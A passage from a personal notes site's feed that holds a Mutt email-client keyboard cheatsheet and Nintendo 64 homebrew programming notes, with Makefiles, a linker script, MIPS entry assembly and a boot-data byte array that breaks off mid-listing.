                    <td style="text-align: center;">F# C F</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Extensions</td>
                    <td style="text-align: left;">9, 11, 13</td>
                    <td style="text-align: center;">G# B D#</td>
                    </tr>
                    </tbody>
                    </table>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Mutt</title>
            <link href="https://badd10de.dev//notes/mutt.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/mutt.html</id>
            <updated>2026-06-16T09:49:21Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="cheatsheet">Cheatsheet</h2>
                    <h3 id="movement">Movement</h3>
                    <ul>
                    <li>Movement: j/k/h/l</li>
                    <li>Next/prev thread: ]/[</li>
                    <li>Next/prev entry: C-n/C-p</li>
                    <li>Go to top/bottom: gg/G</li>
                    <li>Sidebar movement: &lt;DOWN&gt;/&lt;UP&gt;</li>
                    <li>Sidebar enter: &lt;RIGHT&gt;</li>
                    <li>Sidebar open/close: b</li>
                    <li>Move to INBOX: I</li>
                    <li>Move to mailbox: c</li>
                    </ul>
                    <h3 id="general">General</h3>
                    <ul>
                    <li>Sync mailbox locally: TAB</li>
                    <li>Sync mailbox remotely: C-r</li>
                    <li>Reply message: r</li>
                    <li>Reply group: R</li>
                    <li>New mail: m</li>
                    <li>New mail to sender: @</li>
                    <li>Forward message: f</li>
                    <li>Copy/move message to mailbox: C/M</li>
                    <li>Postpone/recall message: p</li>
                    <li>Save attachment: S/s</li>
                    <li>View attachment with mailcap: Enter</li>
                    <li>PGP menu (Sign/encrypt/etc.): p</li>
                    </ul>
                    <h3 id="tagging">Tagging</h3>
                    <ul>
                    <li>Archive: A</li>
                    <li>Goto to INBOX: H</li>
                    <li>Tag message (Mark them for multiple actions):
                    t/T (Tag match)/C-T (Untag match)</li>
                    <li>Execute action on tagged messages: ;</li>
                    <li>Delete message: d/D</li>
                    <li>Undelete message: u/U</li>
                    <li>Set any tag: w/W</li>
                    <li>Toggle important flag: F</li>
                    </ul>
                    <h3 id="search">Search</h3>
                    <ul>
                    <li>Limit messages on display: L</li>
                    <li>Search messages on display: /</li>
                    <li>Search with notmuch: S</li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // N64 Programming</title>
            <link href="https://badd10de.dev//notes/n64-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/n64-programming.html</id>
            <updated>2026-06-16T09:49:22Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="architecture">Architecture</h2>
                    <ul>
                    <li>CPU: MIPS III R4300I @ 93 MHz, access RAM must
                    be done through through RCP. Has 32 and 64 bit
                    instructions and a FPU. 5 stage pipeline and a cache
                    of 16KB for instructions and 8KB for data.</li>
                    <li>Reality Control Processor (RCP): Contains the
                    memory controller, GPU (RSP and RDP) and other
                    things.
                    <ul>
                    <li>Reality Signal Processor (RSP): MIPS
                    co-processor with 128-bit SIMD. Fully programmable.
                    Used for vertex data and to process audio data.</li>
                    <li>Reality Display Processor (RDP):
                    Rasterizer.</li>
                    </ul></li>
                    <li>4MB of RDRAM - UMA w/ 520 MB/sec bandwidth. Can
                    be expanded with an extra 4MB of RAM via expansion
                    pack.</li>
                    </ul>
                    <h3 id="video-features">Video Features</h3>
                    <ul>
                    <li>Hardware texture mapping</li>
                    <li>Hardware anti-aliasing</li>
                    <li>Hardware z-buffer</li>
                    <li>Tri-linear filtering MIP mapping</li>
                    <li>Perspective correction</li>
                    <li>Environment mapping</li>
                    <li>16/32bit RGBA framebuffer</li>
                    </ul>
                    <h2 id="video">Video</h2>
                    <p>The framebuffer (FB) is part of the DRAM so it
                    can be writtent to in many ways:</p>
                    <ul>
                    <li>Directly from the CPU.</li>
                    <li>RDP issue commands to the RSP, which writes to
                    the FB.</li>
                    <li>Write a programm (microcode) for the RSP that
                    writes to the framebuffer, since the RSP is fully
                    programmable.</li>
                    <li>Use the DMA to move data to the FB.</li>
                    </ul>
                    <p>If we want to use the RDP, the usual process is
                    as follows:</p>
                    <ol type="1">
                    <li>Transfer gfx data from ROM to RDRAM (CPU – N64
                    OS)</li>
                    <li>Create display list in RDRAM from img data (CPU
                    – Game application)</li>
                    <li>Transfer display list and graphics microcode to
                    the RSP (CPU – N64 OS)</li>
                    <li>Conversion process (RSP – GFX microcode)</li>
                    <li>Transfer converted data to RDP (RSP – GFX
                    microcode)</li>
                    <li>Manipulation process (RDP)</li>
                    <li>Transfer manipulated data to framebuffer
                    (RDP)</li>
                    <li>Transfer manipulated data to the video interface
                    (CPU – N64 OS)</li>
                    <li>Trasfer digital data to DAC (Video
                    Interface)</li>
                    <li>Video signal is displayed.</li>
                    </ol>
                    <p>In theory is possible to write to the FB using
                    both the RDP and direct CPU writing, but my initial
                    experiments have been unsuccessful, maybe due to
                    cache or other things. Since I can’t easily test
                    this in real hardware I also don’t know if some of
                    these issues are caused by incorrect emulation.</p>
                    <h2 id="tools">Tools</h2>
                    <p>Programming for the N64 can be a bit of a pain.
                    On the one hand, testing in hardware is limited to
                    inaccessible development kits and expensive
                    Everdrive64 devices. At this point I’m not ready to
                    spend a chunk of money for small N64 hobby projects,
                    so I mostly test my programs with emulators.</p>
                    <p>If you want to develop for the N64, you currently
                    have two realistic options:</p>
                    <ol type="1">
                    <li>Find a copy of the proprietary Windows
                    development development kit to extract the
                    <code>libultra</code> files that we need to link to
                    access the N64 “OS” functionality. This is the
                    approach used by most commercial games.</li>
                    <li>Use <code>libdragon</code>, an open source
                    Nintendo SDK. It has a much modern toolset and
                    probably much easier to develop for. Unfortunately,
                    not all emulators support programs developed with
                    <code>libdragon</code>.</li>
                    </ol>
                    <p>In all likelihood you want to use this <a
                    href="https://crashoveride95.github.io/n64hbrew/modernsdk/index.html">modern
                    n64sdk</a>, but before I discovered this I had
                    already found the official windows SDK and setup my
                    dev environment. Here is what I did:</p>
                    <ol type="1">
                    <li>Download and compile <code>gcc</code>,
                    <code>binutlis</code> and <code>newlib</code> for a
                    <code>mips32-elf</code> target with a
                    <code>vr4300</code> CPU. I followed <a
                    href="https://n64brew.dev/wiki/Building_GCC">this
                    wiki</a> from the N64brew community.</li>
                    <li>Download and compile <a
                    href="https://github.com/trhodeos/spicy">spicy</a>
                    and <a
                    href="https://github.com/trhodeos/makemask">makemask</a>,
                    which I actually had to modify to make it work
                    properly. These are necessary to create bootable n64
                    roms, although ideally I would get rid of them with
                    some custom code to handle this process and avoid
                    dependencies altogether.</li>
                    </ol>
                    <p>This is the Makefile I use for my initial
                    experiments. It supports out of source builds so
                    that I can clean up the build artifacts easier and
                    keep my source tree organized:</p>
                    <pre><code>.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Paths for SDK.
SDK_BASE     := /opt/n64sdk
SDK_BIN      := $(SDK_BASE)/bin
LIBULTRA_DIR := $(SDK_BASE)/libultra
LIBULTRA_INC := $(LIBULTRA_DIR)/usr/include
LIBULTRA     := $(LIBULTRA_DIR)/usr/lib/libgultra.a

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_MAIN    := $(SRC_DIR)/main.c
SRC_OBJ     :=
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))

WATCH_SRC   := $(shell find $(SRC_DIR) -name &quot;*.c&quot; -or -name &quot;*.s&quot; -or -name &quot;*.h&quot;)
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_DIRS    += $(LIBULTRA_INC)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := uxn64
ELF    := $(BUILD_DIR)/$(TARGET).elf
BIN    := $(BUILD_DIR)/$(TARGET).n64

# Main compilation tool paths.
CC       := $(SDK_BIN)/mips32-elf-gcc
LD       := $(SDK_BIN)/mips32-elf-ld
AS       := $(SDK_BIN)/mips32-elf-as
OBJDUMP  := $(SDK_BIN)/mips32-elf-objdump
SPICY    := $(SDK_BIN)/spicy
MAKEMASK := $(SDK_BIN)/makemask

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += -mabi=32 -mfix4300
CFLAGS         += -ffreestanding -G 0
CFLAGS         += $(INC_FLAGS)
CFLAGS         += -DF3DEX_GBI_2 -nostdlib -r
LDFLAGS        := -nostdlib -r
LDLIBS         := $(LIBULTRA) $(SDK_BASE)/lib/gcc/mips32-elf/13.0.0/libgcc.a
RELEASE_CFLAGS := -O2 -DNDEBUG -D_FINALROM
DEBUG_CFLAGS   := -O0 -DDEBUG -D_FINALROM

# Setup debug/release builds.
#     make clean &amp;&amp; make &lt;target&gt; DEBUG=0
#     make clean &amp;&amp; make &lt;target&gt; DEBUG=1
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BUILD_DIR) $(BIN)

$(ELF): $(SRC_MAIN) $(WATCH_SRC)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(ELF) $(SRC_MAIN) $(LDLIBS)

$(BIN): $(ELF) $(OBJECTS) $(WATCH_SRC)
    $(SPICY) -r $@ $(SRC_DIR)/spec \
        --as_command=&quot;$(SDK_BIN)/mips32-elf-as&quot; \
        --cpp_command=&quot;$(SDK_BIN)/mips32-elf-gcc&quot; \
        --ld_command=&quot;$(SDK_BIN)/mips32-elf-ld&quot; \
        --objcopy_command=&quot;$(SDK_BIN)/mips32-elf-objcopy&quot;
    rm a.out
    $(MAKEMASK) $(BIN)

# Test the output .n64 in an emulator.
run: $(BUILD_DIR) $(BIN)
    mupen64plus $(BIN)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c
    $(CC) $(CFLAGS) $&lt; -o $@</code></pre>
                    <p>If you prefer a simpler version, I got the demos
                    from the CD to compile with:</p>
                    <pre><code>SDK_BASE := /opt/n64sdk/
LIBULTRA := $(SDK_BASE)/libultra

CFLAGS := -mabi=32 -ffreestanding -mfix4300 -G 0 -I$(LIBULTRA)/usr/include
LIBS := $(LIBULTRA)/usr/lib/libgultra.a
LIBS += $(SDK_BASE)/lib/gcc/mips32-elf/13.0.0/libgcc.a
TARGET := onetri.n64

CC := $(SDK_BASE)/bin/mips32-elf-gcc
LD := $(SDK_BASE)/bin/mips32-elf-ld

CFLAGS += -DF3DEX_GBI_2
CFLAGS += -O2 -DNDEBUG -D_FINALROM
N64LIB = ultra_rom

codefiles = onetri.c dram_stack.c rdp_output.c
codeobjects = $(codefiles:.c=.o)
datafiles = static.c cfb.c rsp_cfb.c
dataobjects = $(datafiles:.c=.o)

$(TARGET): spec codesegment.o $(dataobjects)
    $(SDK_BASE)/bin/spicy -r $@ spec \
        --as_command=&quot;$(SDK_BASE)/bin/mips32-elf-as&quot; \
        --cpp_command=&quot;$(SDK_BASE)/bin/mips32-elf-gcc&quot; \
        --ld_command=&quot;$(SDK_BASE)/bin/mips32-elf-ld&quot; \
        --objcopy_command=&quot;$(SDK_BASE)/bin/mips32-elf-objcopy&quot;
    $(SDK_BASE)/bin/makemask $(TARGET)

codesegment.o: $(codeobjects)
    $(LD) -nostdlib -r -o $@ $^ $(LIBS)

run: $(TARGET)
    mupen64plus $(TARGET)

clean:
    rm -f $(codeobjects) $(dataobjects) codesegment.o $(TARGET)
.PHONY: clean</code></pre>
                    <h2 id="using-linker-scripts">Using linker
                    scripts</h2>
                    <p>To compile and link a valid N64 roms the official
                    N64SDK relied on two executables
                    <code>mild.exe</code> and <code>makemask.exe</code>
                    and we can use the open source equivalents <a
                    href="https://github.com/trhodeos/spicy">spicy</a>
                    and <a
                    href="https://github.com/trhodeos/makemask">makemask</a>.
                    However I’ve found these tools to not work right off
                    the bat. Luckily, <code>spicy</code> can be easily
                    replaced with linker scripts and a dash of assembly.
                    Details on the process can be found <a
                    href="https://www.moria.us/blog/2020/10/n64-part5-my-own-code">here</a>.</p>
                    <p>Here is an example of a working makefile for this
                    purpose:</p>
                    <pre><code>.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Paths for SDK.
SDK_BASE     := /opt/n64sdk
SDK_BIN      := $(SDK_BASE)/bin
LIBULTRA_DIR := $(SDK_BASE)/libultra
LIBULTRA_INC := $(LIBULTRA_DIR)/usr/include
LIBULTRA     := $(LIBULTRA_DIR)/usr/lib/libgultra.a

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_MAIN    := $(SRC_DIR)/main.c $(SRC_DIR)/entry.s
SRC_LN      := $(SRC_DIR)/linker.ld
SRC_OBJ     :=
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
WATCH_SRC   := $(shell find $(SRC_DIR) \
               -name &quot;*.c&quot; -or \
               -name &quot;*.s&quot; -or \
               -name &quot;*.h&quot; -or \
               -name &quot;**.ld&quot;)
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_DIRS    += $(LIBULTRA_INC)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := uxn64
ELF    := $(BUILD_DIR)/$(TARGET).elf
BIN    := $(BUILD_DIR)/$(TARGET).n64

# Main compilation tool paths.
CC       := $(SDK_BIN)/mips32-elf-gcc
LD       := $(SDK_BIN)/mips32-elf-ld
AS       := $(SDK_BIN)/mips32-elf-as
OBJDUMP  := $(SDK_BIN)/mips32-elf-objdump
OBJCOPY  := $(SDK_BIN)/mips32-elf-objcopy
MAKEMASK := $(SDK_BIN)/makemask

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += -mabi=32 -mfix4300
CFLAGS         += -ffreestanding -G 0
CFLAGS         += $(INC_FLAGS)
CFLAGS         += -DF3DEX_GBI_2
LDFLAGS        := -nostdlib
LDLIBS         := $(LIBULTRA) $(SDK_BASE)/lib/gcc/mips32-elf/13.0.0/libgcc.a
RELEASE_CFLAGS := -O2 -DNDEBUG -D_FINALROM
DEBUG_CFLAGS   := -O0 -DDEBUG -D_FINALROM

# Setup debug/release builds.
#     make clean &amp;&amp; make &lt;target&gt; DEBUG=0
#     make clean &amp;&amp; make &lt;target&gt; DEBUG=1
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BIN)

$(ELF): $(SRC_MAIN) $(WATCH_SRC) | $(BUILD_DIR)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(ELF) -T $(SRC_LN) $(SRC_MAIN) $(LDLIBS)

$(BIN): $(ELF) $(OBJECTS) $(WATCH_SRC) | $(BUILD_DIR)
    $(OBJCOPY) -O binary $&lt; $@
    $(MAKEMASK) $(BIN)

# Test the output .n64 in an emulator.
run: $(BIN)
    mupen64plus $(BIN)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) $&lt; -o $@

# Inference rules for assembly files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.s | $(BUILD_DIR)
    $(AS) $(AFLAGS) -o $@ -c $&lt;</code></pre>
                    <p>The linker script sets the right memory regions,
                    rom header, stacks and elf sections:</p>
                    <pre><code>ENTRY(_start)

STACK_SIZE = 8K;

MEMORY {
    rom (R) : ORIGIN = 0, LENGTH = 64M
    ram (RWX) : ORIGIN = 0x80000400, LENGTH = 4M - 0x400
}

SECTIONS {
    .header : {
        LONG(0x80371240)
        LONG(0x0000000f)
        LONG(0x80000400)
        LONG(0x0000144c)
        . = 0x1000;
    } &gt;rom

    .text : {
        _text_start = .;
        *(.text.entry)
        *(.text .text.*)
        *(.rodata .rodata.*)
        *(.data .data.*)
        _text_end = .;
    } &gt;ram AT&gt;rom

    .bss (NOLOAD) : ALIGN(16) {
        _bss_start = .;
        *(.bss .bss.*)
        *(COMMON)
        *(.scommon .scommon.*)
        _bss_end = .;
    } &gt;ram

    .stack (NOLOAD) : ALIGN(16) {
        . += STACK_SIZE;
        . = ALIGN(8);
        _boot_stack = .;
        _main_thread_stack = .;

        . += STACK_SIZE;
        . = ALIGN(8);
        _idle_thread_stack = .;
    } &gt;ram

    /DISCARD/ : {
        *(*)
    }
}</code></pre>
                    <p>And this bit of assembly handles the primary
                    initialization and jumping to the initial function
                    in our C code:</p>
                    <pre><code># Entry point for the ROM image.
        .section .text.entry
        .global _start
_start:
        # Set up the stack
        la      $sp, _boot_stack

        # Zero BSS.
        la      $a0, _bss_start
        la      $a1, _bss_end
        subu    $a1, $a1, $a0
        jal     bzero

        # Jump to C entry point.
        j       boot</code></pre>
                    <h2 id="creating-a-valid-rom">Creating a valid
                    rom</h2>
                    <p>As mentioned before, to create a valid N64 rom,
                    we need to use <code>makemask</code> to inject the
                    boot data code and a checksum of our program in file
                    offsets <code>0x40</code> and <code>0x10</code>
                    respectively. To avoid mixing up multiple codebases,
                    I wrote a minimal alternative to this tool in C:</p>
                    <pre><code>// src/bootdata.c
const u8 bootdata[] = {
    0x40, 0x80, 0x68, 0x00, 0x40, 0x80, 0x48, 0x00,
    0x40, 0x80, 0x58, 0x00, 0x3c, 0x08, 0xa4, 0x70,
    0x25, 0x08, 0x00, 0x00, 0x8d, 0x09, 0x00, 0x0c,
    0x15, 0x20, 0x00, 0xed, 0x00, 0x00, 0x00, 0x00,
    0x27, 0xbd, 0xff, 0xe8, 0xaf, 0xb3, 0x00, 0x00,
    0xaf, 0xb4, 0x00, 0x04, 0xaf, 0xb5, 0x00, 0x08,
    0xaf, 0xb6, 0x00, 0x0c, 0xaf, 0xb7, 0x00, 0x10,
    0x3c, 0x08, 0xa4, 0x70, 0x25, 0x08, 0x00, 0x00,
    0x3c, 0x0a, 0xa3, 0xf8, 0x3c, 0x0b, 0xa3, 0xf0,
    0x3c, 0x0c, 0xa4, 0x30, 0x25, 0x8c, 0x00, 0x00,
    0x34, 0x09, 0x00, 0x40, 0xad, 0x09, 0x00, 0x04,
    0x24, 0x11, 0x1f, 0x40, 0x00, 0x00, 0x00, 0x00,
    0x22, 0x31, 0xff, 0xff, 0x16, 0x20, 0xff, 0xfd,
    0x00, 0x00, 0x00, 0x00, 0xad, 0x00, 0x00, 0x08,
    0x34, 0x09, 0x00, 0x14, 0xad, 0x09, 0x00, 0x0c,
    0xad, 0x00, 0x00, 0x00, 0x24, 0x11, 0x00, 0x04,
    0x00, 0x00, 0x00, 0x00, 0x22, 0x31, 0xff, 0xff,
    0x16, 0x20, 0xff, 0xfd, 0x00, 0x00, 0x00, 0x00,
    0x34, 0x09, 0x00, 0x0e, 0xad, 0x09, 0x00, 0x00,
    0x24, 0x11, 0x00, 0x20, 0x22, 0x31, 0xff, 0xff,
    0x16, 0x20, 0xff, 0xfe, 0x34, 0x09, 0x01, 0x0f,
    0xad, 0x89, 0x00, 0x00, 0x3c, 0x09, 0x18, 0x08,
    0x35, 0x29, 0x28, 0x38, 0xad, 0x49, 0x00, 0x08,
    0xad, 0x40, 0x00, 0x14, 0x3c, 0x09, 0x80, 0x00,
    0xad, 0x49, 0x00, 0x04, 0x00, 0x00, 0x68, 0x25,
    0x00, 0x00, 0x70, 0x25, 0x3c, 0x0f, 0xa3, 0xf0,
    0x00, 0x00, 0xc0, 0x25, 0x3c, 0x19, 0xa3, 0xf0,
    0x3c, 0x16, 0xa0, 0x00, 0x00, 0x00, 0xb8, 0x25,
    0x3c, 0x06, 0xa3, 0xf0, 0x3c, 0x07, 0xa0, 0x00,
    0x00, 0x00, 0x90, 0x25, 0x3c, 0x14, 0xa0, 0x00,
    0x27, 0xbd, 0xff, 0xb8, 0x03, 0xa0, 0xf0, 0x25,
    0x3c, 0x10, 0xa4, 0x30, 0x8e, 0x10, 0x00, 0x04,
    0x3c, 0x11, 0x01, 0x01, 0x26, 0x31, 0x01, 0x01,
    0x16, 0x11, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x24, 0x10, 0x02, 0x00, 0x35, 0x71, 0x40, 0x00,
    0x10, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
    0x24, 0x10, 0x04, 0x00, 0x35, 0x71, 0x80, 0x00,
    0xae, 0x2e, 0x00, 0x04, 0x25, 0xf5, 0x00, 0x0c,
    0x0d, 0x00, 0x01, 0xde, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x40, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00,
    0xaf, 0xa2, 0x00, 0x00, 0x24, 0x09, 0x20, 0x00,
    0xad, 0x89, 0x00, 0x00, 0x8d, 0xeb, 0x00, 0x00,
    0x3c, 0x08, 0xf0, 0xff, 0x01, 0x68, 0x58, 0x24,
    0xaf, 0xab, 0x00, 0x04, 0x23, 0xbd, 0x00, 0x08,
    0x24, 0x09, 0x10, 0x00, 0xad, 0x89, 0x00, 0x00,
    0x3c, 0x08, 0xb0, 0x19, 0x15, 0x68, 0x00, 0x0c,
    0x00, 0x00, 0x00, 0x00, 0x3c, 0x08, 0x08, 0x00,
    0x03, 0x08, 0xc0, 0x20, 0x03, 0x30, 0xc8, 0x20,
    0x03, 0x30, 0xc8, 0x20, 0x3c, 0x08, 0x00, 0x20,
    0x02, 0xc8, 0xb0, 0x20, 0x02, 0x88, 0xa0, 0x20,
    0x00, 0x12, 0x90, 0x40, 0x22, 0x52, 0x00, 0x01,
    0x10, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x08, 0x00, 0x10, 0x02, 0x88, 0xa0, 0x20,
    0x24, 0x08, 0x20, 0x00, 0xad, 0x88, 0x00, 0x00,
    0x8d, 0xe9, 0x00, 0x24, 0x8d, 0xfa, 0x00, 0x00,
    0x24, 0x08, 0x10, 0x00, 0xad, 0x88, 0x00, 0x00,
    0x31, 0x29, 0xff, 0xff, 0x24, 0x08, 0x05, 0x00,
    0x15, 0x28, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x1b, 0x01, 0x00, 0x03, 0x5b, 0xd0, 0x24,
    0x17, 0x40, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x08, 0x10, 0x1c, 0x35, 0x08, 0x0a, 0x04,
    0xad, 0xe8, 0x00, 0x18, 0x10, 0x00, 0x00, 0x03,
    0x3c, 0x08, 0x08, 0x0c, 0x35, 0x08, 0x12, 0x04,
    0xad, 0xe8, 0x00, 0x18, 0x3c, 0x08, 0x08, 0x00,
    0x01, 0xc8, 0x70, 0x20, 0x01, 0xf0, 0x78, 0x20,
    0x01, 0xf0, 0x78, 0x20, 0x25, 0xad, 0x00, 0x01,
    0x2d, 0xa8, 0x00, 0x08, 0x15, 0x00, 0xff, 0xc4,
    0x00, 0x00, 0x00, 0x00, 0x3c, 0x08, 0xc4, 0x00,
    0xad, 0x48, 0x00, 0x0c, 0x3c, 0x08, 0x80, 0x00,
    0xad, 0x48, 0x00, 0x04, 0x03, 0xc0, 0xe8, 0x25,
    0x00, 0x00, 0x18, 0x25, 0x8f, 0xa9, 0x00, 0x04,
    0x3c, 0x08, 0xb0, 0x09, 0x15, 0x28, 0x00, 0x16,
    0x00, 0x00, 0x00, 0x00, 0xae, 0x38, 0x00, 0x04,
    0x27, 0x35, 0x00, 0x0c, 0x8f, 0xa4, 0x00, 0x00,
    0x23, 0xbd, 0x00, 0x08, 0x24, 0x05, 0x00, 0x01,
    0x0d, 0x00, 0x02, 0x90, 0x00, 0x00, 0x00, 0x00,
    0x8e, 0xc8, 0x00, 0x00, 0x3c, 0x08, 0x00, 0x08,
    0x01, 0x16, 0x40, 0x20, 0x8d, 0x09, 0x00, 0x00,
    0x8e, 0xc8, 0x00, 0x00, 0x3c, 0x08, 0x00, 0x08,
    0x01, 0x16, 0x40, 0x20, 0x8d, 0x09, 0x00, 0x00,
    0x3c, 0x08, 0x04, 0x00, 0x01, 0xc8, 0x70, 0x20,
    0x03, 0x30, 0xc8, 0x20, 0x3c, 0x08, 0x00, 0x10,
    0x02, 0xc8, 0xb0, 0x20, 0x10, 0x00, 0x00, 0x21,
    0xae, 0x37, 0x00, 0x04, 0x24, 0xd5, 0x00, 0x0c,
    0x8f, 0xa4, 0x00, 0x00, 0x23, 0xbd, 0x00, 0x08,
    0x24, 0x05, 0x00, 0x01, 0x0d, 0x00, 0x02, 0x90,
    0x00, 0x00, 0x00, 0x00, 0x8c, 0xe8, 0x00, 0x00,
    0x3c, 0x08, 0x00, 0x08, 0x01, 0x07, 0x40, 0x20,
    0x8d, 0x09, 0x00, 0x00, 0x3c, 0x08, 0x00, 0x10,
    0x01, 0x07, 0x40, 0x20, 0x8d, 0x09, 0x00, 0x00,
    0x3c, 0x08, 0x00, 0x18, 0x01, 0x07, 0x40, 0x20,
    0x8d, 0x09, 0x00, 0x00, 0x8c, 0xe8, 0x00, 0x00,
    0x3c, 0x08, 0x00, 0x08, 0x01, 0x07, 0x40, 0x20,
    0x8d, 0x09, 0x00, 0x00, 0x3c, 0x08, 0x00, 0x10,
    0x01, 0x07, 0x40, 0x20, 0x8d, 0x09, 0x00, 0x00,
    0x3c, 0x08, 0x00, 0x18, 0x01, 0x07, 0x40, 0x20,
    0x8d, 0x09, 0x00, 0x00, 0x3c, 0x08, 0x08, 0x00,
    0x02, 0xe8, 0xb8, 0x20, 0x00, 0xd0, 0x30, 0x20,
    0x00, 0xd0, 0x30, 0x20, 0x3c, 0x08, 0x00, 0x20,
    0x00, 0xe8, 0x38, 0x20, 0x24, 0x63, 0x00, 0x01,
    0x00, 0x6d, 0x40, 0x2a, 0x15, 0x00, 0xff, 0xc3,
    0x00, 0x00, 0x00, 0x00, 0x3c, 0x0a, 0xa4, 0x70,
    0x00, 0x12, 0x94, 0xc0, 0x3c, 0x09, 0x00, 0x06,
    0x35, 0x29, 0x36, 0x34, 0x01, 0x32, 0x48, 0x25,
    0xad, 0x49, 0x00, 0x10, 0x8d, 0x49, 0x00, 0x10,
    0x3c, 0x08, 0xa0, 0x00, 0x35, 0x08, 0x03, 0x00,
    0x3c, 0x09, 0x0f, 0xff, 0x35, 0x29, 0xff, 0xff,
    0x02, 0xc9, 0xb0, 0x24, 0xad, 0x16, 0x00, 0x18,
    0x03, 0xc0, 0xe8, 0x25, 0x27, 0xbd, 0x00, 0x48,
    0x8f, 0xb3, 0x00, 0x00, 0x8f, 0xb4, 0x00, 0x04,
    0x8f, 0xb5, 0x00, 0x08, 0x8f, 0xb6, 0x00, 0x0c,
    0x8f, 0xb7, 0x00, 0x10, 0x27, 0xbd, 0x00, 0x18,
    0x3c, 0x08, 0x80, 0x00, 0x25, 0x08, 0x00, 0x00,
    0x25, 0x09, 0x40, 0x00, 0x25, 0x29, 0xff, 0xe0,
    0x40, 0x80, 0xe0, 0x00, 0x40, 0x80, 0xe8, 0x00,
    0xbd, 0x08, 0x00, 0x00, 0x01, 0x09, 0x08, 0x2b,
    0x14, 0x20, 0xff, 0xfd, 0x25, 0x08, 0x00, 0x20,
    0x3c, 0x08, 0x80, 0x00, 0x25, 0x08, 0x00, 0x00,
    0x25, 0x09, 0x20, 0x00, 0x25, 0x29, 0xff, 0xf0,
    0xbd, 0x09, 0x00, 0x00, 0x01, 0x09, 0x08, 0x2b,
    0x14, 0x20, 0xff, 0xfd, 0x25, 0x08, 0x00, 0x10,
    0x10, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x08, 0x80, 0x00, 0x25, 0x08, 0x00, 0x00,
    0x25, 0x09, 0x40, 0x00, 0x25, 0x29, 0xff, 0xe0,
    0x40, 0x80, 0xe0, 0x00, 0x40, 0x80, 0xe8, 0x00,
    0xbd, 0x08, 0x00, 0x00, 0x01, 0x09, 0x08, 0x2b,
    0x14, 0x20, 0xff, 0xfd, 0x25, 0x08, 0x00, 0x20,
    0x3c, 0x08, 0x80, 0x00, 0x25, 0x08, 0x00, 0x00,
    0x25, 0x09, 0x20, 0x00, 0x25, 0x29, 0xff, 0xf0,
    0xbd, 0x01, 0x00, 0x00, 0x01, 0x09, 0x08, 0x2b,
    0x14, 0x20, 0xff, 0xfd, 0x25, 0x08, 0x00, 0x10,
    0x3c, 0x0a, 0xa4, 0x00, 0x25, 0x4a, 0x00, 0x00,
    0x3c, 0x0b, 0xff, 0xf0, 0x3c, 0x09, 0x00, 0x10,
    0x01, 0x4b, 0x50, 0x24, 0x3c, 0x08, 0xa4, 0x00,
    0x25, 0x29, 0xff, 0xff, 0x3c, 0x0b, 0xa4, 0x00,
    0x25, 0x08, 0x04, 0xc0, 0x25, 0x6b, 0x07, 0x74,
    0x01, 0x09, 0x40, 0x24, 0x01, 0x69, 0x58, 0x24,
    0x3c, 0x09, 0xa0, 0x00, 0x01, 0x0a, 0x40, 0x25,
    0x01, 0x6a, 0x58, 0x25, 0x25, 0x29, 0x00, 0x00,
    0x8d, 0x0d, 0x00, 0x00, 0x25, 0x08, 0x00, 0x04,
    0x01, 0x0b, 0x08, 0x2b, 0x25, 0x29, 0x00, 0x04,
    0x14, 0x20, 0xff, 0xfb, 0xad, 0x2d, 0xff, 0xfc,
    0x3c, 0x0c, 0x80, 0x00, 0x25, 0x8c, 0x00, 0x00,
    0x01, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
    0x3c, 0x0b, 0xb0, 0x00, 0x8d, 0x69, 0x00, 0x08,
